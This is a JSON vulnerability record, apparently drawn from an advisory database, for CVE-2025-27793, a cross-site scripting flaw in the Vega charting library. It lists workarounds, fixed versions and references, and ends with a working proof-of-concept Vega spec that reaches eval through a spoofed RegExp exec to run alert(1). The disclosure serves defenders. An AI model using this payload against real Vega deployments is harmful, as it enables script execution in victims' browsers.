{"id":"CVE-2025-27793","aliases":["GHSA-963h-3v39-3pqf"],"url":"https://o3.security/vulnerability/CVE-2025-27793","summary":"Vega vulnerable to Cross-site Scripting via RegExp.prototype[@@replace]","details":"## Impact\n\nUsers running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library is used with the `vega-interpreter`.\n\n## Workarounds\n\n- Use `vega` with [expression interpreter](https://vega.github.io/vega/usage/interpreter/)\n- Upgrade to a [newer Vega version](https://github.com/vega/vega/releases/tag/v5.32.0) (`5.32.0`)\n\n### POC Summary\n\nCalling `replace` with a `RegExp`-like pattern calls `RegExp.prototype[@@replace]`, which can then call an attacker-controlled `exec` function.\n\n### POC Details\n\nConsider the function call `replace('foo', {__proto__: /h/.constructor.prototype, global: false})`. Since `pattern` has `RegExp.prototype[@@replace]`, `pattern.exec('foo')` winds up being called.\n\nThe resulting malicious call looks like this:\n```\nreplace(<string argument>, {__proto__: /h/.constructor.prototype, exec: <function>, global: false})\n```\n\nSince functions cannot be returned from this, an attacker that wishes to escalate to XSS must abuse `event.view` to gain access to `eval`.\n\n### Reproduction steps\n\n```\n{\"$schema\":\"https://vega.github.io/schema/vega/v5.json\",\"signals\":[{\"name\":\"a\",\"on\":[{\"events\":\"body:mousemove{99999}\",\"update\":\"replace('alert(1)',{__proto__:/h/.constructor.prototype,exec:event.view.eval,global:false})\"}]}]}\n```","published":"2025-03-27T14:07:52.264Z","modified":"2026-08-12T03:51:23.302343296Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"vega","fixedVersion":"5.32.0"},{"ecosystem":"npm","name":"vega-functions","fixedVersion":"5.17.0"}],"fix":{"url":"https://github.com/vega/vega/commit/694560c0aa576df8b6c5f0f7d202ac82233e6966","label":"vega/vega@694560c"},"references":[{"type":"WEB","url":"https://github.com/vega/vega/releases/tag/v5.32.0"},{"type":"WEB","url":"https://vega.github.io/vega/usage/interpreter"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/27xxx/CVE-2025-27793.json"},{"type":"ADVISORY","url":"https://github.com/vega/vega/security/advisories/GHSA-963h-3v39-3pqf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-27793"},{"type":"FIX","url":"https://github.com/vega/vega/commit/694560c0aa576df8b6c5f0f7d202ac82233e6966"},{"type":"PACKAGE","url":"https://github.com/vega/vega"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:23.302343296Z"}}